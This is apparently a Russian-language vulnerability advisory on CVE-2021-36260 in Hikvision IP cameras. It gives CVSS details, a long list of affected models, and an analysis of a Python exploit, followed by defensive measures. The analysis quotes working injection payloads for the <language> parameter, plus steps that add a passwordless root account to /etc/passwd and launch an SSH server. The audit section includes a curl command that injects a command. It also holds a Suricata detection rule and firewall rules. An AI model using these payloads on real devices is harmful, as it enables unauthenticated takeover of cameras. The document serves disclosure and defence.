
Уязвимость BDU:2021-05455 (CVE-2021-36260) в IP-камерах Hikvision
Уязвимость BDU:2021-05455 (CVE-2021-36260), обнаруженная в 2021 году, представляет собой критическую угрозу для систем видеонаблюдения. Уязвимость существует во встроенном веб-сервере IP-камер и сетевых устройств Hikvision. Проблема возникает из-за недостаточной санитизации входных данных в параметре <language>
при обработке HTTP-запросов к эндпоинту /SDK/webLanguage
. Это позволяет злоумышленнику внедрять произвольные команды через XML-запросы, что приводит к выполнению кода на устройстве без аутентификации.
Анализ уязвимости
Уровень опасности: 9.8 (CRITICAL)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
Вектор атаки: Сетевой (AV:N) - эксплуатация возможна удаленно
-
Сложность эксплуатации: Низкая (AC:L) - не требует специальных условий
-
Привилегии: Не требуются (PR:N) - аутентификация отсутствует
-
Взаимодействие с пользователем: Не требуется (UI:N)
-
Область воздействия: Локальная (S:U) - компрометация ограничена устройством
-
Последствия: Полный компромисс конфиденциальности (C:H), целостности (I:H) и доступности (A:H)
Список уязвимых к cve-2021-36260 устройств
1. Камеры серии DS-2CV:
-
Hikvision DS-2CVxxx1 до 210625
-
Hikvision DS-2CVxxx6 до 210625
2. Камеры серии HWI/IPC:
-
Hikvision HWI-xxxx до 210625
-
Hikvision IPC-xxxx до 210625
3. Камеры серии DS-2CD:
-
Hikvision DS-2CD1xx1 до 210625
-
Hikvision DS-2CD1x23G0 до 210625
-
Hikvision DS-2CD1x23G0E(C) до 210625
-
Hikvision DS-2CD1x43(B) до 210625
-
Hikvision DS-2CD1x43(C) до 210625
-
Hikvision DS-2CD1x43G0E до 210625
-
Hikvision DS-2CD1x53(B) до 210625
-
Hikvision DS-2CD1x53(C) до 210625
-
Hikvision DS-2CD1xx7G0 до 210625
-
Hikvision DS-2CD2xx6G2 до 210625
-
Hikvision DS-2CD2xx6G2(C) до 210625
-
Hikvision DS-2CD2xx7G2 до 210625
-
Hikvision DS-2CD2xx7G2(C) до 210625
-
Hikvision DS-2CD2x21G0 до 210625
-
Hikvision DS-2CD2x21G0(C) до 210625
-
Hikvision DS-2CD2x21G1 до 210625
-
Hikvision DS-2CD2x21G1(C) до 210625
-
Hikvision DS-2CD2xx3G2 до 210625
-
Hikvision DS-2CD3xx6G2 до 210625
-
Hikvision DS-2CD3xx6G2(C) до 210625
-
Hikvision DS-2CD3xx7G2 до 210625
-
Hikvision DS-2CD3xx7G2(C) до 210625
-
Hikvision DS-2CD3xx7G0E до 210625
-
Hikvision DS-2CD3x21G0 до 210625
-
Hikvision DS-2CD3x21G0(C) до 210625
-
Hikvision DS-2CD3x51G0(C) до 210625
-
Hikvision DS-2CD3xx3G2 до 210625
-
Hikvision DS-2CD4xx0 до 210625
-
Hikvision DS-2CD4xx6 до 210625
-
Hikvision DS-2CD8Cx6G0 до 210625
4. PTZ-камеры:
-
Hikvision PTZ-Nxxxx до 210625
-
Hikvision HWP-Nxxxx до 210625
-
Hikvision DS-2DF5xxxx до 210625
-
Hikvision DS-2DF6xxxx до 210625
-
Hikvision DS-2DF6xxxx-Cx до 210625
-
Hikvision DS-2DF7xxxx до 210625
-
Hikvision DS-2DF8xxxx до 210625
-
Hikvision DS-2DF9xxxx до 210625
-
Hikvision iDS-2PT9xxxx до 210625
-
Hikvision (i)DS-2PTxxxx до 210625
-
Hikvision (i)DS-2SE7xxxx до 210625
5. Видеорегистраторы и специализированные устройства:
-
Hikvision iDS-2XM6810 до 210625
-
Hikvision iDS-2CD6810 до 210625
-
Hikvision DS-2XE62x2F(D) до 210625
-
Hikvision DS-2XC66x5G0 до 210625
-
Hikvision DS-2XE64x2F(B) до 210625
-
Hikvision (i)DS-2DExxxx до 210625
-
Hikvision DS-2DYHxxxx до 210625
-
Hikvision DS-2DY9xxxx до 210625
-
Hikvision iDS-2SK7xxxx до 210625
-
Hikvision iDS-2SK8xxxx до 210625
-
Hikvision iDS-2SR8xxxx до 210625
-
Hikvision iDS-2VSxxxx до 210625
-
Hikvision DS-2TBxxx до 210702
-
Hikvision DS-Bxxxx до 210702
-
Hikvision DS-2TDxxxxB до 210702
-
Hikvision DS-2TD1xxx-xx до 210702
-
Hikvision DS-2TD2xxx-xx до 210702
-
Hikvision DS-2TD41xx-xx/Wx до 210702
-
Hikvision DS-2TD62xx-xx/Wx до 210702
-
Hikvision DS-2TD81xx-xx/Wx до 210702
-
Hikvision DS-2TD4xxx-xx/V2 до 210702
-
Hikvision DS-2TD62xx-xx/V2 до 210702
-
Hikvision DS-2TD81xx-xx/V2 до 210702
-
Hikvision DS-76xxNI-K1xx(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно
-
Hikvision DS-76xxNI-Qxx(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно
-
Hikvision DS-HiLookI-NVR-1xxMHxx-C(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно
-
Hikvision DS-HiLookI-NVR-2xxMHxx-C(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно
-
Hikvision DS-HiWatchI-HWN-41xxMHxx(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно
-
Hikvision DS-HiWatchI-HWN-42xxMHxx(C) от 4.30.210 Build 201224 до 4.31.000 Build 210511 включительно
-
Hikvision DS-71xxNI-Q1xx(C) от 4.30.300 Build 210221 до 4.31.100 Build 210511 включительно
-
Hikvision DS-HiLookI-NVR-1xxMHxx-D(C) от 4.30.300 Build 210221 до 4.31.100 Build 210511 включительно
-
Hikvision DS-HiLookI-NVR-1xxHxx-D(C) от 4.30.300 Build 210221 до 4.31.100 Build 210511 включительно
-
Hikvision DS-HiWatchI-HWN-21xxMHxx(C) от 4.30.300 Build 210221 до 4.31.100 Build 210511 включительно
-
Hikvision DS-HiWatchI-HWN-21xxHxx(C) от 4.30.300 Build 210221 до 4.31.100 Build 210511 включительно
Условия эксплуатации
Для успешной атаки достаточно наличия устройства из списка уязвимых версий (прошивки до 210625 или 210702) и его доступности через сеть. Устройство не обязательно должно находиться в локальной сети — достаточно, чтобы веб-интерфейс (порт 80/8080) был открыт для удаленного доступа. Аутентификация не требуется, что делает уязвимость критической для устройств, напрямую подключенных к интернету.
Технический анализ эксплоита
Эксплоит к cve-2021-36260, написанный на Python, использует HTTP-запросы типа PUT для внедрения команд в параметр <language>
. Рассмотрим ключевые фрагменты кода:
1. Формирование вредоносного запроса
Класс Http
генерирует XML с командой внутри тега <language>
:
def put(self, url, query_args, timeout): query_args = '<?xml version="1.0" encoding="UTF-8"?>' \ f'<language>$({query_args})</language>' return self.remote.put(self.uri + url, data=query_args, verify=False, ...)
Пример внедрения команды ls -l
:
<language>$(ls -l >webLib/x)</language>
Результат выполнения команды сохраняется в файл webLib/x
, который затем читается через GET-запрос к /x
.
2. Проверка уязвимости
Метод check()
пытается создать файл на устройстве:
remote.send(query_args='>webLib/c') # Создание пустого файла data = remote.send(url='/c', query_args=None) if data.status_code == 200: print('[!] Remote is verified exploitable')
Если файл доступен, устройство уязвимо.
3. Запуск обратной оболочки
Метод shell()
добавляет нового пользователя P
с паролем W
в /etc/passwd
и запускает SSH-сервер:
remote.send(query_args='echo -n P::0:0:W>N') remote.send(query_args='echo :/:/bin/sh>>N') remote.send(query_args='cat N>>/etc/passwd') remote.send(query_args='dropbear -R -B -p 1337')
После этого атакующий подключается через SSH:
ssh P@<rhost> -p 1337
Защита от эксплуатации
1. Обновление прошивки
Установите актуальные версии прошивок (после 210625/210702).
2. Правило Suricata для детектирования атак
Добавьте в /etc/suricata/rules/local.rules
:
alert http $EXTERNAL_NET any -> $HOME_NET any \ (msg:"CVE-2021-36260 Hikvision Command Injection Attempt"; \ flow:to_server,established; \ content:"PUT"; http_method; \ content:"/SDK/webLanguage"; http_uri; \ content:"<language>$("; nocase; http_client_body; \ content:")</language>"; distance:0; \ classtype:web-application-attack; \ sid:202136260; rev:2;)
3. Расширенные сетевые меры:
-
Сегментация сети: Изолируйте камеры в отдельный VLAN
-
Strict Firewall Policies:
# Блокировка внешнего доступа к камерам iptables -A INPUT -p tcp --dport 80 -s !192.168.1.0/24 -j DROP iptables -A INPUT -p tcp --dport 8080 -j DROP
-
VPN-доступ: Организуйте защищенный доступ через VPN вместо прямого открытия портов
4. Дополнительные меры безопасности:
-
Отключите неиспользуемые сервисы (UPnP, FTP, Telnet) в веб-интерфейсе
-
Включите двухфакторную аутентификацию
-
Регулярно проводите аудит безопасности с использованием команд:
nmap -sV --script=http-vuln-cve2021-36260 <IP-камеры> curl -X PUT -d '<language>$(id)</language>' http://<IP>/SDK/webLanguage
-
Настройте мониторинг изменений в системных файлах:
# Для Linux-хостов auditctl -w /etc/passwd -p wa -k camera_config
5. Резервное копирование и восстановление:
-
Регулярно сохраняйте конфигурации устройств
-
Разработайте план аварийного восстановления с изоляцией зараженных устройств
Заключение
Уязвимость CVE-2021-36260 остается критической угрозой для систем безопасности. Регулярное обновление прошивок в сочетании с сетевыми мерами защиты и мониторингом трафика с использованием Suricata-правил значительно снижает риски эксплуатации. Для уязвимых устройств обязательна немедленная изоляция от интернета и установка патчей.
